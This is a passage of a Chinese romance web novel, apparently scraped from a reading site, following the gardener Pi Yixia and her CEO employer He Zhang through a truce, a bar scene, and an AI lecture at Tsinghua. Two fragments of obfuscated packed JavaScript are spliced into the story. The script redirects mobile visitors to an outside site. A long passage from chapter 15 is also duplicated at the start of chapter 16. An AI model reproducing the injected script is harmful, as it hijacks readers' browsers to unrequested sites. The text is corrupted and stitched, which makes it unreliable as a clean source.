两人低着头各吃各的,没再继续这个话题。过了一会儿,皮一夏在沉闷的用餐氛围里率先绷不住了,她搁下筷子,斟酌着说:“贺先生,我们之间,目前算是讲和了对吧?” “你想说什么?”贺章不解地看她。 “嗯……我想确认自己以后的处境,还需不需要对您抱有亏欠感?” 巴塞罗那的事,无论如何,在今天一定得有个明确的结尾,千万不能再像之前一样,她自以为讲和了,结果突然又被抓过来道歉。悬着心的感觉实在不好受,而且,贺章成了她在公司里遥远的上级,为她以后的工作处境考虑,也必须好好解决这件事。 皮一夏神色认真,贺章不由也放下了餐具。 自巴塞罗那相逢以来,他们一直处在不正常的状况里。 他在她眼中看见过无辜、好奇、魅惑、茫然、惊惧、生气,唯独没有看见过平和。栗色的瞳仁水润又通透,褪去了虚张声势的伪装和讨好,仿佛这才是她真实的底色。这样一双美丽的眼睛,在某些时刻却会迷离失焦,仿佛星星碎在了眼眶里……贺章盯着看了会儿,喉间忽然有几分紧绷,他端起杯子喝了口水,才漫不经心地开口。 “不需要。” “那就好。” 她粉唇微勾,眉心舒展,露出一个浅浅的笑,眼波明亮却不灼人。他忽然感觉心脏处被什么挠了一下,像一尾小鱼,在池塘里快速游弋而过,撩起轻微的波澜。 贺章抓下Oliver在他胸前作乱的肉爪,把它放下地。 皮一夏彻底放了心,考虑到以后在他家花园里工作,还会经常见到,为保证和平相处,又说:“贺先生,我这个人,有时候不太会看人脸色,偶尔说一些不经大脑的话,但肯定没有恶意,如果哪里冒犯了您,让您对我有不满,请一定直言不讳。” 她说着自我贬损的话,语气却很轻快,因为这桩源自巴塞罗那的韵事,总算有了圆满的大结局。 贺章意识到她在划清界限,隐隐感觉到一丝不爽,虎口托着下巴,不动声色地盯着她看了一会儿。 “您看……就像现在,我就不知道您在想什么。”皮一夏小声嘟囔了句。 她眼珠乱转,似乎又开始紧张了,贺章忍不住勾了勾唇角:“以后周六的午餐我做,你负责洗碗。” “啊……”皮一夏没想到他会突然说这个,反应过来又“哦”了一声,心想贺章果然不喜欢她干涉做饭的事,“也行。” “早餐和晚餐,也在这里吃。” “啊?” 这是为啥?他不嫌做两个人的饭麻烦吗?皮一夏眨了眨眼,不解地看他。 “需要你洗碗。”贺章淡声说。 “……” 原来是想找个免费的洗碗工人。可是贺老板这么大一栋别墅,难道都没有装一台洗碗机吗? 皮一夏默默腹诽时,手机忽然震动,偏头瞥了眼,是个备忘录,名字:最后一次提醒,给小辰的生日礼物买了吗?” 完了……她彻底把这件事拖忘了! 皮一夏关掉震动,有点不好意思地说:“我今天下午,能不能早走一会儿?但肯定会把活儿全部干完再走。” “怎么?”贺章问。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14446950|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我弟明天生日,还没给他买礼物。” “你还有弟弟? “有啊,比我小五岁,现在读大四。清华哦!” 皮一夏眉眼飞扬,语气别提多骄傲了。 这种骄傲并非仅仅源于名校崇拜。一个家境优渥的好孩子,努力学习,考上了清华大学,这很优秀,应该骄傲。然而他们皮家的孩子,考到了清华大学,那是另外一种主题为励志的故事线。 在浙江台州那个三十八线的镇子里,人人都知道,皮家的亲爹滥赌不成器,亲妈常年在外打工,家里孩子是放养长大的,在这种条件下考上了清华大学,难道不更值得骄傲吗?但这些就不足为外人道了。 贺章问:“学什么专业?” “计算机。” “不错。” 皮一夏尾巴翘得更高了:“是吧。我弟比我有出息!” “你……尚可。”贺章克制地称赞了一句。 “嘁,只是尚可吗?” 贺章睨着她说:“不要得寸进尺。” “……哦。” 他是尊贵的贺总,不能随便开玩笑。皮一夏抿了抿唇,转回正题上:“所以我能提前走吗?” “可以。” “好的!感谢贺总。”正好饭吃完了,她端起盘子就往外走,“我去洗碗!” 收拾好餐具,皮一夏回到花园里,接着灌溉草坪,清理枯枝落叶,然后给木屋四周撒上驱蚊虫的药粉,最后把花锄、花剪和水管归置在花房里,时间正好五点半。这会儿赶去商场,还能好好挑一挑礼物。 她面朝小木屋二楼,扬声:“贺先生,我走了。” 贺章在她干活时也过来了,这会儿正坐在露天回廊的躺椅上,抱着电脑办公。 皮一夏打完招呼就要走,却被贺章叫住了。 “等等。” 他放下电脑,起身沿着楼梯下来,走到她身边,从裤子口袋里掏出一张卡片:“这个拿着,下次直接进园区。” 是一张通行证。 “好的。”她接过来,点头告别,走了几步忽然又回身说,“贺先生,方不方便,加您一个微信啊?” 皮一夏不是第一个向他要微信的女生,却是最正经的一个,神色和语气就像在巴塞罗那的那个傍晚,十分客气和坦然,当时他没意识到她目的不纯,如今……贺章清晰地感觉到,她这话里没有掺杂一点绮思遐想,单纯是出于工作沟通需要。 那种隐隐的不爽再次冒出来,贺章冷淡道:“号码你有。” “好的。那晚点我加上了,您记得通过啊!” “嗯。” 说完这件事,她就拎着装湿衣服的购物袋,转身离开了。 贺章目送她的背影穿过草坪,走上了通往大门的鹅卵石小径。黑色的连衣裙长及小腿中部,粉色绉纱缠绕在肩头,长卷发蓬松地垂下,时不时被微风撩起一缕发丝,应该沾染了花园的香气。 这是一个成熟而美丽的女人,毫无疑问。忽然间,一个穿着宽大工装背带裤,挂了一身布偶的女孩闪现,她走路轻快,简直是蹦蹦跳跳,紧紧踩着身前那女人的脚步。 这两个人若即若离,时而合二为一。 贺章眼中泛着暮色般深沉的波澜,好一会儿才收回视线。 几片叶子飘飘扬扬地落在草坪上,俄而又翻滚着身形,去亲吻鹅卵石小径。小径尽头,皮一夏站在巍然的大门后,忽然停下脚步,朝庭院东南角望过去。 夕阳之下,五彩斑斓的花园里,大榕树底下的长椅上,坐着一个身穿黑色T恤的男人。离得太远,视线里只是小小的一点背影,在巨大的榕树荫翳里。 皮一夏低眉笑了笑,开门走了出去。 五点五十分,贺章收到了微信联系人添加提示,他通过了。 「你已添加了皮一下很开心,现在可以开始聊天了」 一行灰色的小字弹出。很快,一个“调皮”的emoji发了过来,接着是一笔微信转账,金额800元,转账说明:旗袍和开衫的另一半费用。 再下来,是四行文字。 皮一下很开心:「贺先生,既然我的裙子和披肩恢复如初,那么旗袍和开衫的钱也应该还给您。知道您不在乎损失这几百块,但请务必收下,让我心安[调皮]。」 这一刻,贺章想起在巴塞罗那的Colon酒店里,被圣经压住一角的黑色皮夹缝隙间,那张折成细条状的一百欧元纸币。 纸币展开来皱皱巴巴,一棱一棱的折痕,硬得硌手,他像一个强迫症患者似的,一条一条反折过去,把纸币压平了,收进皮夹里。 贺章盯着消息末尾的微信表情,忽然低笑了声,点开她的微信头像。 背景是大海,她穿着肉粉色长裙和宽松罩衫,光脚走进海水里,黑发披肩,镜头记录下微微扬起的侧脸。 他长按头像一秒,点了“保存到手机”。切回聊天界面,回了两个字。 15. 讲座 「不收。」 不想亏欠他吗?哼。 手机顶部弹出一条微信消息,褚彦的。 公子彦:「出来喝酒。」 贺章忖了两秒,回复:「位置。」 陌生的情绪翻涌不休,他此刻确实需要一些酒精。皮一夏还在劝他收钱,发了几个“拜托”、“球球了”表情包。 笑意在眼底晕开,贺章想了想,回了句:「花匠工作日志,本周内提交。」 对面的消息戛然而止。他几乎能够想象,那张小脸是怎样的五彩斑斓活色生香。 过了足足十分钟,才收到她的回复。 彼时贺章已经开车驶出车库,一手点开消息。 皮一下很开心:「刚刚看到,好的,贺先生。」 “刚刚看到”……贺章笑出声来。 晚八点,极度酒吧二层的半开放式私人包厢里。 弧形吧台前的高脚椅上,褚彦坐姿闲适,手肘抵着吧台,正在喝酒。 贺章到达时,褚彦已经喝了三杯朗姆酒,度数不低,脸色却一点变化没有。 对于这位惯常混迹各大时尚Party的花花公子来说,这点酒不算什么。看见贺章过来,褚彦嘴角勾着点笑,语声疏懒地对酒保小哥说:“把你们珍藏的MartellL’OR,给这位尊贵的客人拿过来。” 吧台后方,香槟金色的半圆形三层酒架上,酒瓶琳琅满目,酒保小哥从最顶层取下一瓶。 瓶口和瓶身上端由24K纯金铸成,酒色呈深琥珀,泛着微微的红木光泽,是法国马爹利酒庄生产的最顶级的干邑酒。 马爹利口感丝滑,浓郁醇厚,入喉直冲鼻腔,微微的刺激感中融合了佛手柑、黑加仑和一丝木香。 贺章两指捏着透明玻璃杯,递到嘴边抿了一口,一时眉梢轻挑,眼中闪过几分愉悦之色,说话的语气稍显轻快,不似平时那样清冷。 “找我来做什么?” 褚彦环抱起双臂,后腰靠上高脚椅的短背,睨着他说:“问问贺大公子打算怎么安排我。” “给你两周时间,处理完Lamoda美国公司的事。我会在合适的时候,安排你进入华森文娱。” “两周?”褚彦惊愕扬声,“你知道我手里有多少事在带吗?两周搞不完!” 贺章不为所动:“你也说了,是在‘带’,不是在‘做’。你一个带人做事的,只要安排得当,离开一段时间死不了人。” “……”褚彦恨恨地指了指贺章,“你这张嘴,早晚被人打死!” 贺章哼笑一声,修长食指轻扣杯沿,沉吟着说:“我没兴趣打持久战,半年内,我要把华森导向正途,时间紧,要做的事太多。知道你有自己的事要忙,所以越快帮我收拾完摊子,你就能越早脱身。” “半年?!”褚彦再次震惊,“你会不会,过于异想天开了?” 华森当初的四位创始人贺华森、蒋鸿、苏瑾荣和丁康琪,贺华森病休一年多,苏老不问世事,丁康琪秉承中庸之道在集团养老,唯余蒋鸿这位二把手,几乎一手遮天。 集团内部贺党跟蒋党之间暗流涌动,争斗不休,换高管的速度堪比换衣服,蒋鸿做事风格一言堂,这些年在集团运营上出过不少昏招,其中最要命的就是强力推进和日本银丰资本的联姻。 银丰以28亿美元参股华森集团,获得了超三分之一的股权,按照当年的协议约定,银丰将在2025年9月,将其投票权提升四个点,届时集团原始股东的投票权相应下降,银丰在华森集团的董事席增加,集团控制权将受到严重威胁。 所以,眼下最要紧的问题,还不是肃清华森集团的内部管理,而是赎回银丰资本在华森的股权,避免集团控制权流入外资手中。 单是其中一件事,就够人头疼了。可贺章的意思却是,要在半年之内同时解决掉两个大麻烦,这不是异想天开是什么? 褚彦盯着贺章无情无绪的一张脸,摇了摇头:“算了。反正也是你们家的事,我不操心,让做什么做什么就完了。” 说起这个,褚彦想起那辆劳斯莱斯,他玩了几天新鲜劲过去,觉得被贺章用一辆车套牢了很亏,心里堵了口气。转念又想到叫贺章出来喝酒的目的,是打探他跟苏晨雪和皮一夏之间的关系,不由更气了。 褚彦拍了下吧台,质问贺章:“你对我妹做了什么?!” 贺章拧眉偏头看他。 “别跟我装蒜!你那哄小姑娘的本事,我可是知道的。都不用勾勾手,一个眼神就把人迷得神魂颠倒。我警告你,收起你那肮脏的手段,离我家晨晨远点,不许招惹她,也不许让她喜欢你!” “你在说些什么?”贺章莫名其妙。 正说着,褚彦手机响了,是苏晨雪打来的。他点开接通,语气瞬间带了和缓的笑意:“怎么了晨晨?” 贺章眼里闪过一丝嫌弃,猛然想起一个人,面色不自知地柔和下来,嘴角弧度上翘,掐着酒杯,有一搭没一搭地喝着。 褚彦这通电话聊的时间不长,最后挂断时还皱着眉头,自言自语了句:“为什么又不避讳了?”说着瞥了贺章一眼。 后者不明所以。 所谓不避讳,是说能在贺章面前提起皮一夏了。 今晚苏晨雪找皮一夏出来吃饭,得知她在商场里买礼物,就开车过去陪她一起买,买完就近找了家餐厅吃饭。 皮一夏跟苏晨雪讲了这一周的经历,听的苏晨雪直呼精彩,最后快散场时,还在期待之后的故事。 她们都喝了酒,没法开车,苏晨雪打电话给褚彦,是想找他来给两人当司机,谁知他也喝了酒,于是只得作罢。 褚彦给她约了代驾,九点多代驾到了,皮一夏和苏晨雪挽着手下楼。 到了停车场,皮一夏看见了熟悉的劳斯莱斯座驾,登时大惊。现在这种级别的劳斯莱斯,已经成了富豪必备的时尚单品了吗?也太夸张了吧! “苏苏,你什么时候买的这辆车呀,我怎么从来没见你开过?”皮一夏问。 “不是我的。我哥的。”苏晨雪拉开后座车门,“我那宾利送去保养了,车库里只有这辆劳斯莱斯最顺眼,我就开出来了。但是第一次开不太习惯,所以本来想让我哥来给咱们当代驾的。” “宾利、劳斯莱斯、最顺眼……苏晨雪你要不要这么离谱啊?!” 怎么能把豪车说的跟玩具车一样……这尊重吗我请问? 苏晨雪抿嘴笑笑:“没办法。豪门里也没有其他拿得出手的东西了。” 皮一夏白她一眼,被这位千金大小姐轻描淡写的反讽说辞无语到了。 两人坐进车里,报了位置,代驾缓缓驶出车库,按导航开上了回皮一夏家的路。 苏晨雪又说:“不过这车也不是我哥买的。是贺章哥哥送给他的。”说完猛地转头,震惊地看向皮一夏,“皮皮,你之前说,听见他要把一辆豪车送人,但是对那女人态度很不客气……不会,就是,这辆劳斯莱斯吧……” 同款震惊脸的皮一夏:“应该、就是、这辆劳斯莱斯吧……” 四目相对,车里突然爆发出一阵十分荒唐的笑声。 “也太乌龙了皮皮……你怎么会以为贺章哥哥会给女人送豪车?他自己都不怎么开豪车……” “我不知道啊!电视里不都是这样演的吗,霸道总裁一脸冷峻地说,‘女人,这座驾是你的了’哈哈哈哈哈哈……” 一路笑闹着回小区,皮一夏上楼的时候还在想,那天贺章穿着精致笔挺的西装,站在豪车门边时,她就先入为主地认定,他是个冷酷暗黑系男人,此后无论他说什么做什么,都会引起她不好的联想。 但事实上,他除了在听汇报时问得比较犀利,其他时间还挺正常的——喜怒难辨这一点除外——他还把外套借给她应急,甚至今天在他家,也没有遭受想象中的羞辱。 越想越觉得,贺总这老板还不错,简直出乎意料地正常。 不过那个“花匠工作日志”,到底是个什么东西呀!桂叔也没说过,做花匠还要写日志啊……要不发个微信问问? 皮一夏犹豫了两秒,看看时间,已经十点半了……算了,这点小事就别打扰桂叔了,她自己想想怎么搞吧。 第二天,皮一夏拎着生日礼物去清华园,给弟弟过生日。 皮一辰来北京上学这几年,每到他生日,姐弟俩总要一起吃顿饭,之前都是在她的出租屋里,简单做几个菜。 今年的生日,赶上小辰有一整天的课,走不开,正好她过周末,索性来学校陪他吃饭。 十点五十分到了清华园,等小辰下课的功夫,皮一夏在学校里闲逛,经过一栋教学楼时,看见楼前戳着一个易拉宝,上面是讲座信息,主题是《AI技术的发展和未来前景》,主讲人的姓名是EthanHe,皮一夏心里一动,不会是她认识的那个Ethan贺吧? 皮一夏按照易拉宝上的指示,上到三楼,站在阶梯教室外面,透过后门的玻璃窗,皮一夏看见了讲台上的人。 还真是贺章! 他穿着黑西裤和白衬衫,外罩一件浅灰色薄开衫,神色不如在公司那样凌厉,也不像在家里那样闲适,有一种清隽的书卷气,和教室这样的地方毫不违和,相反,好像适配度更高一些。 楼道里能听见小半分贝,他侃侃而谈,语调不急不慢,偶尔停顿几秒,似乎在思考怎么表达。 皮一夏有点想进去听,可惜偌大一个阶梯教室,大概能容纳好几百人,竟然座无虚席,密密麻麻全是后脑勺。 她靠着门框听了一会儿,突然,教室后门打开了,从里面走出一个西装革履,发量稀疏的男人,看着像是个校领导之类的人物。这位领导刚才坐的位置,正好在最后一排靠近门边,他一走,位置就空出来了。 皮一夏趁机溜进去,悄悄坐到了那个座位上。 时隔多年,重新坐在教室里听课,这种感觉还不错。皮一夏听得很认真,可惜其中夹杂着不少计算机技术专业词汇,不知道什么意思,但她感觉,贺老师有在努力讲得通俗,让非本专业的学生也能听懂。 偶尔,他会被某个中文词语困住,思考时下意识挠额角,那模样,有种笨拙的可爱。 但思考的结果并非都能如愿,最后索性放弃,用英文词汇代表,说完问下面的学生:“有人知道,这个英文单词表述成中文,怎么说合理吗?” 下面的学生哄笑抢答,贺老师点点头,嘴角带着浅淡的笑。 他一点架子没有,和学生平等地交流,气氛令人愉悦,皮一夏有点后悔来得太晚,没有听到前半场。讲座结束后的提问环节也很精彩。 有个女生站起来提问说:“我知道AI的发展是大势所趋,人类未来一定会进入更魔幻的AI时代,可能人在生活里,会更多地和机器交互,而不是和人交互,贺老师,您不觉得,这样其实是活在一个虚幻的世界吗?如果让机器掌控了这个世界,您不会感觉很可怕吗?” 贺章抬手示意她坐下,回答问题的节奏仍然是不疾不徐的。 “与其感到可怕,不如怀揣期待。回望历史,当爱迪生发明出电以前,油灯是唯一的照明工具,在那之后,电气工程不仅让我们的夜晚更加明亮,还让我们实现了世界互联,其便利性我想,你深有体会。当罗斯柴尔德家族在法国推进铁路生意时,无数贵族对火车这个庞然大物感到恐惧,而现在,高铁成为人们商务旅行必不可少的交通工具。时代的变革必然会带来恐惧,因为人类永远无法想象,下一个时代会经历什么。你此刻害怕的东西,可能会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456608|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是百年后人们离不开的东西。机器掌控世界会不会发生乱子,我不敢断言,也不得不承认,世界偶尔会崩盘。但我相信人类的智慧,不管搞出什么乱子,肯定会有比我们更聪明的人出来收拾。千万年来,不是一直如此吗?” 他这番话说得行云流水,最后还带着混不吝似的调侃,皮一夏忍不住笑出来。就在这时,微信语音通话铃声突然炸响,所有人都朝教室后排的角落看过来。 几百口人的视线啊……皮一夏当场社死,脸色瞬间涨红,一边火速挂断,一边慌乱抬眼。 和讲台上那双漆黑的眼睛撞上时,她脑子更懵了,什么都来不及想,弯着腰疾奔到后门,一把拉开门跑了出去。 这个小插曲过后,教室里重新恢复平静,学生们还在跃跃欲试地举手提问,贺章却说:“抱歉,我还有事,如果有问题,同学们自行探讨吧。” 一片遗憾地“啊”声之后,贺章打开门快步走了出去。 他的步子迈得很大,走到一楼和二楼之间的拐角时,皮一夏已经跑到教学楼前方的平台上,隔着十几级台阶,贺章扬声:“皮一夏,你跑什么?” 皮一夏猛地刹住脚,转身回头,一脸歉意。 “对不起啊贺总,我忘了开静音,打扰了您讲座。” 贺章信步走下台阶,双手插在西裤口袋里,眉心不舒:“在公司以外,都不叫贺总。” “……好的,贺先生。”他是有多讨厌“贺总”这个称呼啊。 四目相对,莫名有点尴尬,皮一夏也不知道该说什么,正在这时,一个清亮的男声从身侧传来。 “姐!” 她转头一看,脸上笑开来:“小辰。” 高高瘦瘦的男大学生,穿一身灰色运动休闲装,背着黑色双肩包,白净清秀的脸上戴着黑框眼睛。 皮一夏三步并两步,顺着教学楼前的台阶下来,走到了皮一辰身前。 “怎么感觉又长高了,这就是传说中的二十三窜一窜吗?”皮一夏举着手,揉了揉皮一辰的头顶。 皮一辰有点不好意思:“我都多大了,别老揉我头,老师在这呢!” 皮一夏自然看见了他身边的男人。 男人叫梁栋,中等个头,面白若玉,鼻梁上架一副细黑边眼睛,散发着温文儒雅的书生气质,原来是华森文娱市场部总监。 以前在华森时,皮一夏就老调侃他,长相斯文,腹有经纶,你该去大学教书育人啊,何苦来大厂当一个螺丝钉。没想到后来真被清华聘任为传媒学院的讲师,做了一名教书匠。为此,梁栋还特意请她吃了顿饭,感谢她金口预言。 快半年没见了,梁栋还是老样子,笑得斯文有礼,说话的声音很温和:“皮皮。” 皮一夏也笑着和他打招呼:“栋哥,好久不见。”说着又转头看小辰,“你们俩怎么在一块?” 传媒学院的老师和计算机学院学生,虽然因为皮一夏的关系,两人认识,但印象里没有太多交集。 皮一辰说:“梁老师在我隔壁的教室上选修课,下课遇上了,就一起过来了。” 皮一夏打量着弟弟神色,心里明镜一样。她这个弟弟,是操心她的婚恋大事呢。 自从妈妈走了以后,小辰越一个二十二岁的大学生,像个老母亲似的,操碎了心的,天天琢磨给她介绍学校里的男老师。 可他不知道,她跟梁栋之间,不需要人介绍。 在公司时关系就很好,他来了清华以后,两人也没断了联系,偶尔约饭,但总是不温不火,有点友达以上那感觉。 不过这些不必告诉小辰,让他操心吧,知道操心,以后交了女朋友,就会对女朋友好。 “那正好,今天中午咱仨一起吃饭?”皮一夏说着晃晃手里的纸袋,“猜猜我给你买了什么生日礼物?” 不用猜,HUAWEI的logo就在袋子表面印着呢。 皮一夏准备迎接皮一辰惊喜的欢呼,谁知后者直接越过她,边往前走边喊:“EthanHe?!天呐!我竟然见到真人了!” 皮一夏错愕地转过身,贺章就在她后面四五步的距离,双手插兜冷脸站着……她光顾着跟熟人说话,忘了贺总还在呢。 皮一辰跑到了贺章身前,局促地说:“我特别想去听您的讲座,可惜跟大课撞时间了,没去成,真希望有机会再听一次。” 贺章收回落在皮一夏脸上的视线,对皮一辰点了点头:“你好。怎么称呼?” “皮一辰。皮球的皮,一二三四的一,时辰的辰。Ethan先生,我可以要您一个签名吗?” 他边说边卸下背后的双肩包,看样子是要从里面取纸笔,却被贺章出声制止了。 “我没有给人签名的习惯。” 贺章声音淡漠,初听的人会觉得他冷酷、不近人情。这一点,皮一夏已经深刻领教过了。 为免弟弟幼小的心灵遭受重创,皮一夏走过来,拍了拍他的肩:“贺先生又不是演员明星,不要为难人家。” 皮一辰乖乖点头,忽然又说:“那我可以请您吃个饭吗?” “……”现在的男大学生,都这么社交悍匪的吗? 皮一夏忙出声阻止自家弟弟这一荒唐行为:“你跟人家熟吗,你就请人吃饭……” “当然熟啊!”皮一辰神色激动地说,“姐,他是EthanHe!硅谷没有人不认识EthanHe!我上课的教材还是他参与编写的呢!神交已久,怎么不算熟呢!” “……” 孩子,单方面神交,那叫崇拜。你跟人家熟,人家跟你不熟啊! 皮一夏拿这位清澈男大没辙,只能寄希望于贺章了。 “贺先生,家里孩子不懂事,本来想请您吃饭的,但我们知道您贵人事忙……” 16. 生日 他的步子迈得很大,走到一楼和二楼之间的拐角时,皮一夏已经跑到教学楼前方的平台上,隔着十几级台阶,贺章扬声:“皮一夏,你跑什么?” 皮一夏猛地刹住脚,转身回头,一脸歉意。 “对不起啊贺总,我忘了开静音,打扰了您讲座。” 贺章信步走下台阶,双手插在西裤口袋里,眉心不舒:“在公司以外,都不叫贺总。” “……好的,贺先生。”他是有多讨厌“贺总”这个称呼啊。 四目相对,莫名有点尴尬,皮一夏也不知道该说什么,正在这时,一个清亮的男声从身侧传来。 “姐!” 她转头一看,脸上笑开来:“小辰。” 高高瘦瘦的男大学生,穿一身灰色运动休闲装,背着黑色双肩包,白净清秀的脸上戴着黑框眼睛。 皮一夏三步并两步,顺着教学楼前的台阶下来,走到了皮一辰身前。 “怎么感觉又长高了,这就是传说中的二十三窜一窜吗?”皮一夏举着手,揉了揉皮一辰的头顶。 皮一辰有点不好意思:“我都多大了,别老揉我头,老师在这呢!” 皮一夏自然看见了他身边的男人。 男人叫梁栋,中等个头,面白若玉,鼻梁上架一副细黑边眼睛,散发着温文儒雅的书生气质,原来是华森文娱市场部总监。 以前在华森时,皮一夏就老调侃他,长相斯文,腹有经纶,你该去大学教书育人啊,何苦来大厂当一个螺丝钉。没想到后来真被清华聘任为传媒学院的讲师,做了一名教书匠。为此,梁栋还特意请她吃了顿饭,感谢她金口预言。 快半年没见了,梁栋还是老样子,笑得斯文有礼,说话的声音很温和:“皮皮。” 皮一夏也笑着和他打招呼:“栋哥,好久不见。”说着又转头看小辰,“你们俩怎么在一块?” 传媒学院的老师和计算机学院学生,虽然因为皮一夏的关系,两人认识,但印象里没有太多交集。 皮一辰说:“梁老师在我隔壁的教室上选修课,下课遇上了,就一起过来了。” 皮一夏打量着弟弟神色,心里明镜一样。她这个弟弟,是操心她的婚恋大事呢。 自从妈妈走了以后,小辰一个二十二岁的大学生,像个老母亲似的,操碎了心的,天天琢磨给她介绍学校里的男老师。 可他不知道,她跟梁栋之间,不需要人介绍。 在公司时关系就很好,他来了清华以后,两人也没断了联系,偶尔约饭,但总是不温不火,有点友达以上那感觉。 不过这些不必告诉小辰,让他操心吧,知道操心,以后交了女朋友,就会对女朋友好。 “那正好,今天中午咱仨一起吃饭?”皮一夏说着晃晃手里的纸袋,“猜猜我给你买了什么生日礼物?” 不用猜,HUAWEI的logo就在袋子表面印着呢。 皮一夏准备迎接皮一辰惊喜的欢呼,谁知后者直接越过她,边往前走边喊:“EthanHe?!天呐!我竟然见到真人了!” 皮一夏错愕地转过身,贺章就在她后面四五步的距离,双手插兜冷脸站着……她光顾着跟熟人说话,忘了贺总还在呢。 皮一辰跑到了贺章身前,局促地说:“我特别想去听您的讲座,可惜跟大课撞时间了,没去成,真希望有机会再听一次。” 贺章收回落在皮一夏脸上的视线,对皮一辰点了点头:“你好。怎么称呼?” “皮一辰。皮球的皮,一二三四的一,时辰的辰。Ethan先生,我可以要您一个签名吗?” 他边说边卸下背后的双肩包,看样子是要从里面取纸笔,却被贺章出声制止了。 “我没有给人签名的习惯。” 贺章声音淡漠,初听的人会觉得他冷酷、不近人情。这一点,皮一夏已经深刻领教过了。 为免弟弟幼小的心灵遭受重创,皮一夏走过来,拍了拍他的肩:“贺先生又不是演员明星,不要为难人家。” 皮一辰乖乖点头,忽然又说:“那我可以请您吃个饭吗?” “……”现在的男大学生,都这么社交悍匪的吗? 皮一夏忙出声阻止自家弟弟这一荒唐行为:“你跟人家熟吗,你就请人吃饭……” “当然熟啊!”皮一辰神色激动地说,“姐,他是EthanHe!硅谷没有人不认识EthanHe!我上课的教材还是他参与编写的呢!神交已久,怎么不算熟呢!” “……” 孩子,单方面神交,那叫崇拜。你跟人家熟,人家跟你不熟啊! 皮一夏拿这位清澈男大没辙,只能寄希望于贺章了。 “贺先生,家里孩子不懂事,本来想请您吃饭的,但我们知道您贵人事忙……” “不忙。”贺章盯着她那一脸虚伪的笑,眉梢微扬,“这会儿,倒是有点时间。” 皮一夏:“……” 您是有时间,但我不想在美好的周末,对着老板那张冷脸啊……跟老板一起吃饭,那叫加班,叫应酬! “我们这些人,吃喝随意,就怕您吃不惯……”皮一夏委婉暗示。 贺章嘴角微勾,像听不懂她的话里的含义:“我知道一家不错的餐厅。走吧。” 他率先迈步,经过梁栋身边时,略扫了一眼就过去了。 皮一夏:“……” 皮一辰:“这是我今年收到的,最好的生日礼物!” 梁栋:“???” HUAWEIP60:“!!!” 无论事情是怎么发生的,总之,一行人还是来到了东门附近的停车场。 贺章今天没带司机,自己开车来的,他走到一辆吉普车旁,拉开了驾驶位的门。剩下的三人面面相觑,都在考虑座次。 皮一辰虽然是攒这场饭局的人,但从教学楼到停车场的路上,他大概是脑子清醒了,或者是贺章那一身的冷冽气息,把孩子吓住了,一路都没怎么开口。这会儿站在车身一侧,数他最局促。 皮一夏恨铁不成钢地瞪了他一眼。 来都来了,还不抓住机会坐偶像身边?她朝副驾抬了抬下巴,冲弟弟使眼色,却在无意中碰上贺章的视线,接着秒速破译他那个不悦的眼神——你让我给你当司机? ……万万不敢。 皮一夏当机立断,快步走到车头,拉开了副驾的车门,对余下两人说:“大家快上车吧。” 等全都坐到了车里,贺章打着方向盘掉头往门口开。 车里静如坟墓。 唯一和每个人都有关系的皮一夏,只得充当活络气氛的角色。 她先朝贺章笑着说:“贺先生,跟您正式介绍一下,我弟弟叫皮一辰,您认识了。另外一位叫梁栋,是清华大学新闻与传播学院的老师,原来是华森文娱市场部总监。” 接着转头看向梁栋:“栋哥,这位是现任华森集团CEO贺章先生,贺董事长的儿子。” 话音刚落,毫不意外地看见了两张错愕的脸。 皮一夏心想,要的就是这个效果!尤其是你皮一辰,让你小子攒局,攒吧!知道他是谁吗就瞎嚷嚷。 气氛凝滞了两秒。 还是梁栋成熟,率先笑着跟贺章打招呼:“您好,贺先生。如果我没离职,这会儿也当叫您一声贺总。之前听说过贺董事长的公子在国外工作,一直无缘见到,今天幸会,贺先生真是年轻有为。” 贺章:“幸会。” 梁栋说了一串场面话,却换来简洁的两个字,一时间有点愣,很快又恢复如常。 皮一辰这会儿不得不开口了,脸色涨红,结结巴巴憋出几句话:“贺、贺先生,对不起,我不知道您是我姐的老、老板……冒昧请您吃饭,不会耽误您时间吧?” 皮一辰出于学术探讨和偶像崇拜心理,原本的打算是请人去食堂吃一顿,他也不知怎么就发展成了眼下这情况。 皮一夏透过后视镜,去看后座上的男大学生,想起自己在公司会议室见到贺章时,大概就和现在的弟弟一样惨不忍睹,她尴尬地抚了抚额头。 贺章偏头瞥了眼副驾上的人,嘴角笑意几不可察:“不耽误,饭总是要吃的。跟同行一起,也算一桩乐事。” 皮一夏有点惊讶,这是贺总能说出来的话?怎么这么和颜悦色?是因为在学校吗? 有了贺章这句话,皮一辰心里踏实了,过了一会儿,又开始情绪激动、情感泛滥、滔滔不绝地宣泄自己对EthanHe的疯狂崇拜。托他的福,车里的气氛热起来了。 二十多分钟后,吉普车开到了京兆尹餐厅门口,贺章找了个停车位拐进去停稳,皮一夏解开安全带下车。梁栋笑着朝她走过来,帮忙关上了副驾车门。 一行人进入餐厅,贺章在最前,服务员迎面来领位:“您好,请问有预约吗?” “有。姓贺,四位。” 服务员翻了翻记录,引他们往里面走:“这边请。” 京兆尹餐厅名副其实,装修古色古香,十分有格调,是京城有名的米其林三星素食餐厅。皮一夏每走一步,都感觉自己在撒钱。 一路穿廊过院,最后进了一间名为“梁轩”的包厢,一张大圆桌,围了一圈简约风檀木扶手椅,落地玻璃窗外,是一大片竹林,内外清幽雅致。 